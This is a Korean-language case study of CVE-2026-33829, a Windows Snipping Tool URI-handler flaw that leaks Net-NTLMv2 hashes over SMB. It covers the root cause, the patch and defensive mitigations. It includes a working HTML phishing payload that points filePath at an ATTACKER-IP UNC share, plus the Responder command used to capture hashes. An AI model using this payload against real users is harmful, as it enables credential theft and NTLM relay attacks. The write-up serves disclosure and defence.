
취약점 사례 연구: CVE-2026-33829 (Windows 캡처 도구 NTLM 강제)
취약점 사례 연구: CVE-2026-33829 (Windows 캡처 도구 NTLM 강제 인증)
이 분석은 CVE-2026-33829의 기술적 재현을 상세히 설명합니다. 이 취약점은 최신 Windows 캡처 도구 애플리케이션 프레임워크 내의 정보 노출 취약점입니다. 사용자 정의 URI 프로토콜 핸들러 내에서 검증되지 않은 입력 매개변수를 악용하여 원격 호스트가 패치되지 않은 Windows 머신이 아웃바운드 SMB 연결을 시작하도록 강제하여 네트워크를 통해 Net-NTLMv2 인증 해시를 유출시킵니다.
URI 스킴 - (Windows는 웹 브라우저가 데스크톱 앱과 통신할 수 있도록 ms-screensketch:, ms-settings:, file: 같은 사용자 정의 프로토콜을 사용합니다.)
이 취약점의 근본 원인은 URI 스킴(ms-screensketch:edit)에 있습니다. 피해자가 (ms-screensketch:edit?&filePath=\\ATTACKER_IP\\share\evil.png)를 포함한 악성 링크를 클릭하고 "캡처 도구 열기"를 승인하면 운영 체제가 SnippingTool.exe를 호출하고 적절한 검증 없이 악성 filePath 매개변수(예: ms-screensketch:edit?filePath=\\ATTACKER-IP\\share\evil.png)를 전달합니다.
:edit? 매개변수가 있으므로 캡처 도구는 제공된 파일 경로(filePath=\\ATTACKER-IP\\share\evil.png)에서 파일을 편집하려고 시도합니다. 이로 인해 SMB(서버 메시지 블록)를 사용하여 네트워크를 통해 연결이 시작됩니다. SMB는 파일을 요청하는 사람을 확인하도록 설계되었기 때문에 Windows는 자동으로 사용자 인증을 시도합니다. 현재 로그인한 사용자의 Net-NTLMv2 challenge-response 해시를 공격자의 서버로 보냅니다. 전체 프로세스는 사용자에게 어떤 눈에 띄는 경고나 프롬프트 없이 백그라운드에서 조용히 발생합니다.
공격자는 피해자의 Net-NTLMv2 challenge-response 인증 데이터를 캡처합니다. 공격자가 피해자의 Net-NTLM 해시를 획득하면 NTLM 릴레이 공격을 수행하여 피해자를 가장하고 내부 네트워크 리소스에 접근하거나 기업 내 다른 서비스에 인증하거나, 캡처된 해시를 오프라인으로 가져와 무차별 대입 공격이나 사전 공격을 사용하여 피해자의 실제 평문 Windows 비밀번호를 알아낼 수 있습니다.
핸들러를 트리거하기 위해 피싱 또는 인트라넷 침해 벡터를 시뮬레이션하는 간단한 HTML 페이로드가 배포되었습니다.
<!DOCTYPE html>
<html>
<body>
<button onclick="window.location.href='ms-screensketch:edit?&filePath=\\ATTACKER-IP\share\test.png&isTemporary=false&saved=true&source=Toast'">Launch Verification</button>
</body>
</html>
해시를 캡처하기 위해 Responder를 실행하는 격리된 Kali Linux 인스턴스가 배포되었습니다.
sudo responder -I eth0 -v
대상 Windows 환경에서 버튼을 클릭하면 응용 프로그램이 편집 컨텍스트를 열고 즉시 SMB 요청을 수신 호스트로 라우팅했습니다. 인증 challenge-response 시퀀스가 완벽하게 완료되어 대상 사용자 컨텍스트에 대한 Net-NTLMv2 해시 구조를 캡처했습니다.
NTLMSSP_NEGOTIATE 패킷은 공격자가 제어하는 UNC 경로를 확인한 후 SMB 세션 설정 중 피해자 시스템이 NTLM 인증을 시작하는 것을 보여줍니다.
NTLMSSP_AUTH 패킷은 challenge 단계가 완료된 후 피해자 시스템이 전송한 Net-NTLMv2 challenge-response 인증 데이터를 포함합니다.
이로부터 공격자는 전달된 NTLMv2 해시를 캡처합니다.
캡처된 Net-NTLMv2 challenge-response 데이터는 대상 환경에 따라 NTLM 릴레이 공격에 활용되거나 오프라인 암호 크래킹 시도에 사용될 수 있습니다.
Windows는 이를 어떻게 패치했나요?
패치 전에는 캡처 도구의 편집 기능이 filePath 내부의 문자열을 가져와 파일 열기 API에 직접 전달했습니다.
관찰된 패치 동작은 Microsoft가 UNC/네트워크 기반 filePath 값이 기본 파일 처리 API에 도달하는 것을 방지하는 검증 로직을 도입했음을 시사합니다. 이제 filePath에 문자열을 전달하면 응용 프로그램이 운영 체제에 넘기기 전에 정합성 검사를 실행합니다.
문자열이 로컬 드라이브 표시자(예: C:\ 또는 D:) 또는 표준 안전한 로컬 시스템 변수로 시작하는지 확인합니다.
응용 프로그램이 UNC(Universal Naming Convention) 접두사(예: \ 또는 \\) 또는 외부 IP 네트워크 패턴을 감지하면 검증 루프에서 이를 잘못된 인수로 표시하고 예외 오류를 발생시킨 후 즉시 파일 로딩 프로세스를 종료합니다.
코드가 Win32 파일 열기 명령어를 실행하기 전에 중단되므로 Windows 커널은 요청을 수신하지 않으며 SMB 패킷이 전송되지 않습니다.
보안 업데이트를 적용한 후 다시 시도하면 응용 프로그램이 여전히 ms-screensketch: 핸들러를 호출했지만 원격 filePath 값은 더 이상 편집 워크플로를 통해 확인되지 않았습니다.
모든 Windows 엔드포인트가 2026년 4월 14일 보안 패치 기준선 이후로 업데이트되어 있는지 확인하십시오. 이 패치는 애플리케이션 핸들러에 엄격한 입력 검증 제한을 도입합니다.
승인되지 않은 외부 네트워크로의 아웃바운드 TCP 포트 445 트래픽을 차단하는 엄격한 egress 방화벽 규칙을 시행하여 자격 증명 유출 위험을 완화하십시오.
그룹 정책 개체(GPO)를 구성하여 원격 서버로의 아웃바운드 NTLM 트래픽을 제한하고, 가능한 경우 Kerberos와 같은 안전한 대체 프로토콜을 강제로 사용하도록 합니다.
면책 조항: 이 분석은 교육적 방어 연구 및 실험실 검증 목적으로만 작성되었습니다. 모든 테스트는 완전히 격리된 샌드박스 환경에서 수행되었습니다.